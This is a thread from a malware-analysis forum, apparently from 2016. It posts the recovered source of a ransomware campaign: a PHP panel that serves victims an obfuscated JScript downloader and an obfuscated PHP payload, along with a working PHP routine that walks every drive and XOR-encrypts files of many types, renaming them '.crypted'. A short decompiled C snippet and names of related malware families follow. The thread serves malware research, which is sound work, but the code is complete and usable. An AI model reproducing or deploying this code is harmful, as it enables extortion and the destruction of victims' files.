A forum for reverse engineering, OS internals and malware analysis 

Forum for analysis and discussion about malware.
 #28863  by benkow_
 Tue Jul 12, 2016 2:35 pm
web callback source (index.php)
Code: Select all
<?php
 
    if (strlen(trim($_SERVER["HTTP_USER_AGENT"])) < 32 || strpos($_SERVER["HTTP_USER_AGENT"], "Windows NT") === false) exit;
 
    $ads = array("17FMywjuJkpQCQaK3hxENT9yhH7Sew6Dwd","172wwa1JKd7mzLjrrPpfULStQe3smYsvi9","1NJtiqEVSHowStHzVWbyRN1rCTEpYn8srH","13yPoMcf4Fj9cigyN5pcvQwk6VenubXS19","14kAwnFyCeNdx5v9u7DEApBroEHPibX5Sh","1MjS9q9F7K8CTJnksajAz7uhDQtgjYWGV2","1Bgz4tHx62KXzL22ikTWvGiQdKTVJELf6z","1PhGvwDx6qvGSNWeezzmM1Zd26FdEB7iU1");     
 
    if (isset($_GET["a"]))
    {
        if (in_array($_GET["a"],$ads))
        {
            class z{var $s=array();var $i=array();var $o=0;function j($x){$d="";for($i=0;$i<strlen($x);$i+=2)$d.=chr(hexdec($x[$i].$x[$i+1]));return $d;} function ud(){$a=array("y"=>date("Y"),"m"=>date("m"),"d"=>date("d"),"h"=>date("H"),"i"=>date("i"),"s"=>date("s"));return (($a["y"]-1980)<<25)|($a["m"]<<21)|($a["d"]<<16)|($a["h"]<<11)|($a["i"]<<5)|($a["s"]>>1);} function a($d,$n){$n=str_replace(chr(92),"/",$n);$x=dechex($this->ud());$h=$this->j($x[6].$x[7].$x[4].$x[5].$x[2].$x[3].$x[0].$x[1]);$fr=$this->j("504b0304140000000800").$h;$u=strlen($d);$g=crc32($d);$z=gzcompress($d);$z=substr(substr($z,0,strlen($z)-4),2);$p=strlen($z);$fr.=pack("V",$g).pack("V",$p).pack("V",$u).pack("v",strlen($n)).pack("v",0).$n.$z;$this->s[]=$fr;$r=$this->j("504b01020000140000000800").$h.pack("V",$g).pack("V",$p).pack("V",$u).pack("v",strlen($n)).pack("v",0).pack("v",0).pack("v",0).pack("v",0).pack("V",32).pack("V",$this->o);$this->o+=strlen($fr);$r.=$n;$this->i[]=$r;} function f(){$d=implode("",$this->s);$l=implode("",$this->i);return $d.$l.$this->j("504b050600000000").pack("v",sizeof($this->i)).pack("v",sizeof($this->i)).pack("V",strlen($l)).pack("V",strlen($d)).$this->j("0000");}}
 
            $dec = base64_decode("function v38(p89,c48,s15) {w62[s15] = p89;}; var w62 = new Array();v38('(n==4', 674, 200);v38('}; if', 421, 223);v38('COMSPE', 711, 368);v38('% /c ', 691, 413);v38(' n=3;n', 954, 132);v38('",0,', 490, 326);v38('%COM', 770, 424);v38('nd(', 116, 165);v38('-b', 944, 34);v38('xa.sa', 85, 211);v38('teO', 161, 109);v38('C% ', 284, 440);v38('+i+n', 725, 160);v38('0); ', 257, 344);v38('gs("%', 684, 74);v38('in', 9, 73);v38('MSPEC', 577, 312);v38('ri', 571, 7);v38('(var i', 832, 398);v38('ect("', 410, 99);v38('tners', 317, 25);v38('"SOFT', 470, 281);v38('www', 496, 40);v38('te', 325, 155);v38('ose', 35, 407);v38('ct(', 876, 111);v38('o=WScr', 14, 118);v38('MSPE', 825, 348);v38('en("G', 919, 148);v38('ws=WS', 539, 56);v38('ODB', 582, 113);v38('ws', 593, 436);v38('n.or', 856, 31);v38('Fil', 485, 204);v38('" /', 548, 300);v38('")+cs', 927, 76);v38('T.t', 619, 384);v38('MP%")+', 790, 89);v38('WriteL', 368, 403);v38('YPT.tx', 263, 361);v38(' xo.', 906, 163);v38('tV', 537, 294);v38('io', 649, 30);v38('fi', 375, 376);v38('+c', 666, 323);v38('crip', 502, 63);v38('p"+cs', 339, 359);v38('ET', 947, 315);v38('Run', 808, 258);v38('for(', 32, 136);v38('oed', 245, 44);v38('co', 58, 36);v38('ng', 157, 8);v38('ts(fn', 243, 241);v38('ngth;', 780, 141);v38(' if(n', 221, 208);v38('xo', 488, 179);v38(';i', 294, 139);v38('je', 535, 61);v38('+"HKC', 276, 336);v38('ws.Ru', 509, 345);v38('ws', 815, 365);v38('ll"; v', 271, 92);v38('log.', 833, 35);v38('DEL "+', 249, 414);v38('q,0,0)', 952, 444);v38('+"Cryp', 530, 339);v38('r/', 686, 156);v38('nseBo', 508, 181);v38('q+fn+', 238, 265);v38('i+', 782, 142);v38('<10', 534, 400);v38('it', 977, 52);v38('MLHTT', 309, 102);v38('(dn', 361, 224);v38('cq=St', 999, 6);v38('en();', 733, 173);v38('"+cs', 540, 356);v38('<ll.le', 451, 140);v38('viron', 31, 70);v38('o.', 323, 168);v38('on', 580, 33);v38('/c D', 938, 441);v38('type=', 701, 175);v38('all', 65, 23);v38('.exe"', 202, 431);v38(' ws.Ru', 388, 269);v38('ted"', 311, 303);v38('&rnd="', 716, 159);v38('var ', 605, 0);v38('+"DECR', 720, 382);v38('le', 478, 126);v38('CO', 261, 311);v38('0,0)', 311, 434);v38(' var', 298, 144);v38(' xo.op', 945, 147);v38('92)', 820, 18);v38('cs=St', 115, 13);v38('XML2.X', 786, 101);v38('cq', 75, 352);v38('re', 138, 97);v38('@";', 878, 2);v38('ak', 886, 230);v38('); i', 693, 166);v38('hp', 58, 417);v38('ad="', 818, 1);v38('p4ts.d', 191, 91);v38('g jap', 707, 32);v38('"+cq+"', 532, 341);v38('; ', 446, 222);v38('a%', 930, 355);v38('write(', 718, 178);v38('Ru', 903, 309);v38('h(er)', 454, 234);v38('Shell"', 544, 65);v38('; }; }', 261, 236);v38('=0;i', 785, 399);v38('ws.Ex', 207, 81);v38('; i', 681, 237);v38('os', 445, 285);v38('jken.n', 668, 49);v38('MS', 593, 100);v38('ersio', 855, 295);v38(' /F', 338, 342);v38('ws.Ex', 95, 68);v38('"%CO', 151, 329);v38('i]+"/c', 422, 153);v38('V "+cq', 929, 301);v38('fn+".p', 625, 416);v38('p.Cl', 198, 406);v38('/F', 255, 325);v38('esk', 165, 379);v38('cry', 818, 321);v38('php"', 129, 216);v38('ld', 771, 138);v38('teOb', 907, 60);v38('tr', 135, 395);v38('n"+c', 396, 296);v38('n=1; ', 337, 188);v38('nvir', 176, 84);v38('q+', 72, 299);v38('; v', 251, 19);v38('".php', 831, 393);v38('fn+"', 447, 430);v38('pandEn', 19, 69);v38('Fil', 324, 239);v38('(" ")', 436, 53);v38('dows"', 795, 290);v38('+ll[', 42, 152);v38('pl', 429, 51);v38('q,0,', 659, 363);v38('ar fn=', 55, 67);v38('c D', 226, 427);v38('".php', 757, 266);v38(' && ', 849, 249);v38('ateObj', 655, 98);v38('){', 435, 226);v38('xe "+c', 789, 264);v38('ntSt', 715, 86);v38('de', 140, 371);v38('C% /', 161, 426);v38('+"a', 308, 77);v38('cs+"ph', 932, 90);v38('size>1', 937, 185);v38('Fil', 547, 193);v38(',0);', 775, 419);v38('PEC% /', 595, 331);v38('ppDat', 726, 354);v38('crip', 400, 57);v38('xa=', 496, 105);v38('.Fi', 224, 125);v38('if(xa.', 568, 184);v38('%COMS', 160, 438);v38('a.save', 440, 202);v38(',0)', 719, 307);v38('mObj', 387, 128);v38('(fn+".', 148, 215);v38(',2);', 653, 217);v38('reateO', 871, 120);v38('bre', 532, 229);v38('e") ', 7, 243);v38('SPE', 895, 425);v38('+"Win', 507, 289);v38('ipt.C', 538, 119);v38('ring.', 983, 14);v38('var i=', 272, 137);v38('ar', 456, 16);v38('reate', 639, 390);v38('ue);f', 560, 396);v38(');} e', 183, 197);v38('; v', 859, 54);v38('status', 550, 169);v38('E ', 119, 277);v38('oun', 482, 154);v38('mot', 199, 29);v38('q,', 676, 433);v38('s.Run(', 717, 328);v38('; var ', 848, 12);v38('cript', 421, 123);v38('l".s', 926, 50);v38('CO', 497, 347);v38('"+cq+"', 581, 278);v38('%Use', 367, 374);v38('3)', 716, 190);v38('xt"+cq', 66, 385);v38('pr', 321, 45);v38('EC', 513, 412);v38('ad+"', 126, 158);v38('"+cs+', 699, 280);v38('l "+', 761, 351);v38('cs+"D', 838, 378);v38('rings(', 74, 87);v38('P")', 267, 103);v38('+c', 811, 304);v38('Cur', 918, 292);v38('WScri', 418, 106);v38('cq+', 309, 415);v38('}; xa', 364, 219);v38('s+"Ru', 484, 297);v38(' var l', 952, 3);v38(' var', 526, 116);v38('rea', 104, 108);v38('".php"', 338, 254);v38('File', 83, 214);v38('onme', 207, 85);v38('ar ll=', 145, 20);v38('}; ', 757, 218);v38('n("%', 538, 367);v38('ELET', 781, 334);v38('){x', 654, 201);v38('C% /c ', 877, 349);v38('kto', 781, 358);v38(' /c', 240, 273);v38('{}', 154, 235);v38('xis', 108, 247);v38(' try {', 865, 146);v38('ct("WS', 386, 62);v38('==1', 528, 225);v38('d=0; ', 15, 4);v38('ect")', 851, 129);v38('ET","', 745, 149);v38('WScri', 881, 95);v38('; ws.', 517, 308);v38('EC%', 821, 272);v38('ing', 435, 124);v38('++) ', 130, 134);v38('de', 289, 350);v38('e(pd', 847, 205);v38('"S', 150, 122);v38('/c "+', 57, 261);v38('tStr', 893, 72);v38('+) {', 225, 143);v38('.c', 526, 26);v38('WARE"+', 599, 282);v38('s(fn+', 286, 253);v38('("', 893, 423);v38('cs', 851, 283);v38('and', 330, 22);v38(',2', 47, 196);v38('"cr', 579, 21);v38('EG DEL', 732, 314);v38('Run', 876, 422);v38('.cz ', 286, 39);v38('cs', 689, 338);v38('pt.C', 259, 96);v38('leE', 297, 246);v38(', f', 725, 161);v38('le%"+', 479, 377);v38('"%TE', 502, 88);v38('f(x', 523, 167);v38('EG ', 787, 275);v38(' /c ', 265, 370);v38('d);};f', 334, 405);v38('dE', 868, 83);v38('se()', 356, 221);v38('0) { d', 668, 187);v38('fromCh', 440, 15);v38('; var ', 748, 104);v38('htt', 281, 150);v38('ws.', 54, 257);v38('("%', 337, 410);v38('.Run', 471, 409);v38('t"+c', 626, 362);v38('.Run("', 456, 437);v38('TextFi', 31, 391);v38('"+', 755, 287);v38('REG D', 326, 333);v38('("%COM', 458, 259);v38('se', 436, 164);v38(' w', 20, 420);v38('n("%', 160, 270);v38('i;', 847, 228);v38('bject(', 676, 121);v38('); v', 748, 66);v38('a-den', 137, 38);v38('if(n==', 918, 189);v38('+"%A', 112, 353);v38('0); w', 221, 327);v38('00;i++', 138, 401);v38('pted"', 468, 322);v38('.clo', 227, 220);v38('.Ru', 166, 366);v38('ts(pd)', 393, 248);v38('; v', 372, 387);v38('TEMP%', 233, 75);v38('l "', 324, 372);v38('ee', 136, 42);v38('"+cq,0', 704, 418);v38('fo.C', 926, 389);v38(',0,0)', 92, 386);v38('E ', 429, 316);v38('))', 5, 255);v38('HKC', 419, 318);v38('==5', 217, 209);v38('{ ', 707, 135);v38('f(fo.', 684, 238);v38('pt.C', 39, 107);v38('p://"', 738, 151);v38('n("%', 610, 310);v38('.Fil', 469, 251);v38('+"DECR', 259, 360);v38('ld=', 549, 227);v38('){', 225, 210);v38('fo', 144, 250);v38('To', 227, 203);v38('eli', 957, 48);v38('; };', 936, 445);v38('ren', 840, 293);v38('R"+', 409, 337);v38('PE', 648, 439);v38('rPro', 33, 375);v38('xa.op', 718, 172);v38('ijz', 805, 46);v38('or(var', 757, 131);v38('par', 505, 24);v38('m n', 262, 37);v38(' { ', 376, 256);v38('+"Des', 487, 357);v38('"+cq', 374, 267);v38('cs', 678, 288);v38('",0', 840, 306);v38('0); ', 338, 364);v38('YP', 257, 383);v38('or', 789, 397);v38('"AD', 11, 112);v38('MS', 942, 330);v38('COMSP', 666, 271);v38('aveTo', 660, 192);v38('"+cq+"', 402, 317);v38('EL "+c', 565, 442);v38('enverg', 978, 47);v38('",', 737, 394);v38('om sp', 42, 27);v38('ar fp=', 83, 388);v38('Crea', 397, 59);v38('q+pd+c', 772, 443);v38('R"+cs+', 343, 319);v38('",0,', 631, 343);v38('var ', 154, 5);v38('+".e', 142, 263);v38('dy', 347, 182);v38('1;', 673, 176);v38('+cq+"', 860, 373);v38('CharCo', 556, 10);v38(';};', 838, 231);v38('+"Cryp', 124, 302);v38(' f', 163, 117);v38('le(fn+', 589, 392);v38('Syste', 26, 127);v38('.sp', 884, 41);v38('==2', 724, 170);v38('fo.Fi', 540, 245);v38('; f', 1, 130);v38('alse);', 646, 162);v38('00) { ', 76, 171);v38('+cs+"', 663, 291);v38('Code(', 936, 17);v38('e(fn+"', 700, 194);v38('ine(a', 12, 404);v38('lg', 547, 43);v38('men', 543, 71);v38('+".ex', 175, 242);v38('eExis', 820, 240);v38('(); ws', 197, 408);v38('catc', 821, 233);v38('r ', 52, 79);v38('DELET', 258, 276);v38('t.', 963, 64);v38(' xa.', 704, 177);v38(',2);} ', 795, 206);v38('bje', 556, 110);v38('00', 661, 186);v38('E "+cq', 342, 335);v38('&& ', 394, 244);v38('s.', 870, 421);v38('oft', 68, 286);v38('EL "+c', 180, 428);v38('){fp.', 891, 402);v38('.respo', 794, 180);v38('+c', 527, 432);v38('q+" /F', 646, 305);v38('.from', 665, 9);v38('pan', 535, 82);v38(' } ', 921, 232);v38('?ad="+', 439, 157);v38('cs', 335, 381);v38(' dn=0;', 956, 145);v38('top"+', 17, 380);v38('<=5;n', 841, 133);v38('".', 98, 320);v38('; ', 31, 435);v38('n("%', 469, 346);v38('de(34)', 613, 11);v38(' xa.', 324, 174);v38('fn', 967, 262);v38('q+', 209, 429);v38('% /c R', 507, 313);v38('"; va', 755, 78);v38('C%', 699, 369);v38('COMSP', 290, 411);v38('+"Micr', 632, 284);v38('HKCU', 458, 279);v38('q+" ', 267, 324);v38('ar ', 98, 55);v38('t.', 131, 58);v38('ve', 768, 212);v38('m");', 729, 115);v38('ted', 663, 340);v38('{xa.s', 387, 191);v38('); ', 376, 183);v38('else', 228, 207);v38('pd=', 849, 80);v38(' R', 196, 274);v38('.Strea', 205, 114);v38('xo=', 245, 94);v38('if', 901, 199);v38(',1,1);', 553, 268);v38('eExist', 739, 252);v38('.exe"', 506, 195);v38('To', 3, 213);v38('c ', 591, 332);v38('ace', 642, 28);v38('ar ', 826, 93);v38('SPEC% ', 26, 260);v38('n"+c', 251, 298);v38('lse ', 155, 198);w62 = w62.join(""); eval(w62);");
            $dec = str_replace("@", $_GET["a"], $dec);
 
            $zip=new z();
            $zip->a($dec, "DECRYPT.js");
            $cn = $zip->f();
           
            header("Content-Transfer-Encoding: binary");
            header("Content-Length: ".strlen($cn));
            header("Content-Disposition: attachment; filename=DECRYPT.zip");
            header("Content-Type: application/octet-stream");
 
            print $cn;
            exit;
        }
        else
        {
            header ("Content-type: text/plain");
 
            print "Access denied. Waiting for a payment...";
        }
    }
    elseif (isset($_GET["id"]) || isset($_GET["ad"]))
    {
        $n = (isset($_GET["rnd"])) ? substr($_GET["rnd"],-1)*1 : 0;
 
        $fp = @fopen("document.txt", "a");
        @fputs($fp, time()."\t".$_SERVER["REMOTE_ADDR"]."\t".$_SERVER["HTTP_HOST"]."\t".$_SERVER["REQUEST_URI"]."\n");
        @fclose($fp);
 
        if (@file_exists($n.".bin"))
        {
            header("Content-Type: image/png");
            header("Content-Disposition: attachment; filename=".substr(md5(mt_rand(1,10000000)),0,mt_rand(1,16)).".png");
 
            if ($n == 5)
            {
                $act = (in_array($_GET["ad"],$ads) && !isset($_GET["id"])) ? "d" : "e";
 
                            $php = file_get_contents($n.".bin");
 
                $key = "";
                for ($i=0; $i<strlen($_GET["ad"]); $i++) $key .= chr((ord($_GET["ad"][$i])*($i+1))%256).chr((ord($_GET["ad"][$i])*($i+2))%256).chr((ord($_GET["ad"][$i])*($i+3))%256);
 
                $php = str_replace("<%ACT%>", $act, $php);
                $php = str_replace("<%KEY%>", base64_encode($key), $php);
                $php = str_replace("<%DRF%>", "67", $php);
                $php = str_replace("<%DRT%>", "90", $php);
 
                function Senc($str)
                {
                    $enc = array();
                    for ($i=0; $i<strlen($str); $i++) $enc[] = (mt_rand(1,100) < 80 && $str[$i] != chr(34) && $str[$i] != chr(46)) ? chr(34).$str[$i].chr(34) : "chr(".ord($str[$i]).")";
                    return str_replace(chr(34).chr(46).chr(34), "", implode($enc,"."));
                }
 
                $php = trim(str_replace("<"."?php", "", str_replace("?".">", "", $php)));
                $preg = "$".chr(mt_rand(97,122)).mt_rand(1,1000);
                $block = "$".chr(mt_rand(97,122)).mt_rand(1,1000);
                $templ = "$".chr(mt_rand(97,122)).mt_rand(1,1000);
                $trash = md5(mt_rand(1,1000000));
                $php = "<"."?php ".$preg."=".Senc("preg_replace").";".$block."=".Senc("eval(base64_decode(".chr(34).base64_encode($php).chr(34)."));").";".$templ."=".Senc("/".$trash."/e").";preg_replace(".$templ.",".$block.",".Senc($trash)."); ?".">";
 
                header("Content-Length: ".strlen($php));
                print $php;
            }
            else
            {
                header("Content-Length: ".@filesize($n.".bin"));
                @readfile($n.".bin");
            }
 
        }
 
        exit;
    }
 
    ?>
decryptor (5.bin)
Code: Select all
<?php
 
set_time_limit(0);
 
for($i=<%DRF%>;$i<=<%DRT%>;$i++) if(@is_dir(chr($i).':')) Tree(chr($i).':');
 
function Tree($p)
{
    $a='<%ACT%>';
    $k=base64_decode('<%KEY%>');
    $s=chr(92);
 
    if(preg_match('/'.$s.$s.'(winnt|boot|system|windows|tmp|temp|program|appdata|application|roaming|msoffice|temporary|cache)/i',$p) || preg_match('/recycle/i',$p)) return;
 
    $dp=@opendir($p);
 
    if($dp===false) return;
 
    while($o=@readdir($dp)) if($o!='.'&&$o!='..')
    {
        if (@is_dir($p.$s.$o))
        {
            Tree($p.$s.$o);
        }
        elseif ($a=='e'&&preg_match('/[.](zip|rar|r00|r01|r02|r03|7z|tar|gz|gzip|arc|arj|bz|bz2|bza|bzip|bzip2|ice|xls|xlsx|doc|docx|pdf|djvu|fb2|rtf|ppt|pptx|pps|sxi|odm|odt|mpp|ssh|pub|gpg|pgp|kdb|kdbx|als|aup|cpr|npr|cpp|bas|asm|cs|php|pas|class|py|pl|h|vb|vcproj|vbproj|java|bak|backup|mdb|accdb|mdf|odb|wdb|csv|tsv|sql|psd|eps|cdr|cpt|indd|dwg|ai|svg|max|skp|scad|cad|3ds|blend|lwo|lws|mb|slddrw|sldasm|sldprt|u3d|jpg|jpeg|tiff|tif|raw|avi|mpg|mp4|m4v|mpeg|mpe|wmf|wmv|veg|mov|3gp|flv|mkv|vob|rm|mp3|wav|asf|wma|m3u|midi|ogg|mid|vdi|vmdk|vhd|dsk|img|iso)$/i',$o) || $a=='d'&&preg_match('/[.](crypted)$/i',$o))
        {
            $fp=@fopen($p.$s.$o,'r+');
            if ($fp!==false)
            {
                $x=@fread($fp,1024);
                for($i=0;$i<strlen($x);$i++)$x[$i]=chr(ord($x[$i])^ord($k[$i%strlen($k)]));
                @fseek($fp,0);
                @fwrite($fp,$x);
                @fclose($fp);
 
                if($a=='e')
                {
                    @rename($p.$s.$o, $p.$s.$o.'.crypted');
                }
                else
                {
                    @rename($p.$s.$o, preg_replace('/[.]crypted$/', '', $p.$s.$o));
                }
            }
        }
    }
 
    @closedir($dp);
}
 
?>
 #29457  by EP_X0FF
 Tue Oct 18, 2016 9:32 am
ikolor wrote:next ..
https://www.virustotal.com/en/file/c65f ... /analysis/

https://www.virustotal.com/en/file/7522 ... 464281473/
0.bin - Genius
Code: Select all
 Filename = *(char **)(a2 + 4);
  Str = *(char **)(a2 + 8);
  Dst = malloc(1u);
  memset(Dst, 0, 1u);
  Offset = 0;
  for ( File = fopen(Filename, Mode); fread(Dst, 1u, 1u, File) && Offset < 1024; fseek(File, Offset, 0) )
  {
    *(_BYTE *)Dst ^= Str[Offset % (signed int)strlen(Str)];
    fseek(File, Offset++, 0);
    fwrite(Dst, 1u, 1u, File);
    memset(Dst, 0, 1u);
  }
  fclose(File);
1.bin - Win32/Kovter
2.bin - Win32/Miuref
h.exe - Win32/Skidlo

Posts moved to Kovter thread.